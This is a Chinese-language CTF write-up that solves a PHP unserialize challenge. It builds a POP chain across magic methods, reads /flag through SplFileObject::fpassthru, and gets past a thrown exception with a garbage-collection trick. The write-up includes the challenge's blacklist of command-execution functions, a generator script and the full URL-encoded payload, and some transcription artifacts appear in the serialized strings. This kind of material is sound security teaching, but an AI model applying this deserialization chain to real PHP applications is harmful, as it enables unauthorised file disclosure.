

```

<?php

highlight_file(__FILE__);
error_reporting(0);

class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){

        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __toString(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}

class Earth{
    public $onearth;

```

```

        public $inearth;
        public $outofearth;
        public function __invoke(){
            $oe = $this->onearth;
            $ie = $this->inearth;
            $ote = $this->outofearth;
            $oe->$ie = $ote;
        }
    }

    if(isset($_POST['travel'])){
        $a = unserialize($_POST['travel']);
        throw new Exception("How to Travel?");
    }

```

进入靶场直接给了源码，考察php反序列化，把此题的魔术方法说一下

__destruct：析构函数，对象被销毁时触发
 __set：给不能访问的、没有的属性赋值时触发
 __call：调用不存在的方法时触发
 __toString：对象被当作字符串时触发
 __invoke：对象被当作函数时触发

接下来要构造pop链，很明显顺序为Sun->Moon->Earth->Solar，可以在本地构造时做个标记

```

<?php

highlight_file(__FILE__);
error_reporting(0);

class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun); //将sun赋值Moon实例，触发Moon
        的__toString
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury; //将Mercury设置为自己
        $Sphere = $this->Venus; //将Venus设置为Solar没有的方法，这里需要拿一个php原生类
        用于后续序列化
        $Dyson->$Sphere($this->Mars);
    }
}

```

```

    }
    public function __call($func,$args){

        if(!preg_match("/exec|popen|popen|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]); //在这里我们使用SplFileObject类，这是一个文件操作类，而args[0]需要是/flag
            $road = $this->Jupiter; //Jupiter赋值为SplFileObject的fpassthru方法，这会输出所有文件所有内容
            $exploar->$road($this->Saturn); //Saturn就不赋值了
        }
        else{
            die("Black hole");
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __toString(){
        $starship = $this->nearside;
        $starship(); //将nearside赋值Earth实例触发，__invoke
        return '';
    }
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth; //将onearth赋值Solar实例
        $ie = $this->inearth; //inearth赋值为Solar没有的属性名，用于触发__set
        $ote = $this->outofearth; //这在后面会被当成参数
        $oe->$ie = $ote;
    }
}

```

这里我们用了一个php原生类SplFileObject，在这个类当中有一个fpassthru方法

fpassthru：将文件指针后面的所有内容输出

知道怎么构造pop链后写个生成php序列化字符串脚本

```

<?php
class Sun
{
    public $sun;
}

class Solar
{
    private $Sun;
    public $Mercury;
}

```

```

        public $Venus;
        public $Earth;
        public $Mars;
        public $Jupiter;
        public $Saturn;
        public $Uranus;
        public $Neptune;
    }
    class Moon
    {
        public $nearside;
        public $farside;
    }

    class Earth
    {
        public $onearth;
        public $inearth;
        public $outofearth;
    }
    $sun = new Sun();
    $moon = new Moon();
    $earth = new Earth();
    $solar = new Solar();
    $sun->sun = $moon;
    $moon->nearside = $earth;
    $earth->onearth = $solar;
    $earth->inearth = "ok";
    $earth->outofearth = "/flag";
    $solar->Mercury = $solar;
    $solar->Venus = "SplFileObject";
    $solar->Jupiter = "fpassthru";

    $arr = array($sun, 0);
    echo urlencode(serialize($arr));
    echo PHP_EOL . serialize($arr);

```

这时候会发现不管传什么都会抛出错误，因为源码中有这一句话

```
throw new Exception("How to Travel?");
```

当抛出错误后，是不会触发destruct魔术方法的，这时候就要绕过这个抛错，我们可以在抛出错误之前让对象销毁吗？当然可以

我们可以利用php中的GC回收机制，这是用于内存回收用的，在php中有分简单类型和复杂类型，复杂类型像数组，对象这种复杂类型拷贝值的开销太大，所以这会通过引用次数来让变量共用内存，到引用次数到0时回收内存，也就是销毁对象，从而实现在抛出错误前触发__destruct魔术方法

```

a:2:{i:0;0:3:"Sun":1:{s:3:"sun";0:4:"Moon":2:{s:8:"nearside";0:5:"Earth":3:
{s:7:"onearth";0:5:"Solar":9:
{s:10:"•Solar•Sun";N;s:7:"Mercury";r:5;s:5:"Venus";s:13:"SplFileObject";s:5:"Eart
h";N;s:4:"Mars";N;s:7:"Jupiter";s:9:"fpassthru";s:6:"Saturn";N;s:6:"Uranus";N;s:7
:"Neptune";N;}}s:7:"inearth";s:2:"ok";s:10:"outofearth";s:5:"/flag";}s:7:"farside
";N;}}i:1;i:0;}

```

在生成的这段序列化代码中，后面的i:1;i:0是数组的键值，我们可以改成i:0;i:0让arr[0]指向0也就是NULL，从而触发GC垃圾回收机制，得

```
a:2:{i:0;0:3:"Sun":1:{s:3:"sun";0:4:"Moon":2:{s:8:"nearside";0:5:"Earth":3:
{s:7:"onearth";0:5:"Solar":9:
{s:10:"SolarSun";N;s:7:"Mercury";r:5;s:5:"Venus";s:13:"SplFileObject";s:5:"Earth"
;N;s:4:"Mars";N;s:7:"Jupiter";s:9:"fpassthru";s:6:"Saturn";N;s:6:"Uranus";N;s:7:"
Neptune";N;}s:7:"inearth";s:2:"ok";s:10:"outofearth";s:5:"/flag";}s:7:"farside";N
;}}i:0;i:0;}
```

最终脚本

```
<?php
class Sun
{
    public $sun;
}

class Solar
{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
}

class Moon
{
    public $nearside;
    public $farside;
}

class Earth
{
    public $onearth;
    public $inearth;
    public $outofearth;
}

$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solar = new Solar();
$sun->sun = $moon;
$moon->nearside = $earth;
$earth->onearth = $solar;
$earth->inearth = "ok";
$earth->outofearth = "/flag";
$solar->Mercury = $solar;
$solar->Venus = "SplFileObject";
$solar->Jupiter = "fpassthru";

$arr = array($sun, 0);
```

```
$result = serialize($arr);  
$result = str_replace("i:1", "i:0", $result);  
echo urlencode($result);
```

SHCTF{c6b9e0bb-9aa3-485f-abde-906a90f41132}Maybe you should fly to the

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF

Body

travel=a%3A2%3A%7Bi%3A0%3B0%3A3%3A%22Sun%22%3A1%3A%7Bs%3A3%3A%22sun
%22%3B0%3A4%3A%22Moon%22%3A2%3A%7Bs%3A8%3A%22nearside%22%3B0%3A5%3A
%22Earth%22%3A3%3A%7Bs%3A7%3A%22onearth%22%3B0%3A5%3A%22Solar%22%3A
9%3A%7Bs%3A10%3A%22%00Solar%00Sun%22%3BN%3Bs%3A7%3A%22Mercury%22%3B
r%3A5%3Bs%3A5%3A%22Venus%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A5%
3A%22Earth%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%
3Bs%3A9%3A%22fpassthru%22%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A6%3A%22U
ranus%22%3BN%3Bs%3A7%3A%22Neptune%22%3BN%3B%7Ds%3A7%3A%22inearth%22
%3Bs%3A2%3A%22ok%22%3Bs%3A10%3A%22outofearth%22%3Bs%3A5%3A%22%2Ffla
g%22%3B%7Ds%3A7%3A%22farside%22%3BN%3B%7D%7Di%3A0%3Bi%3A0%3B%7D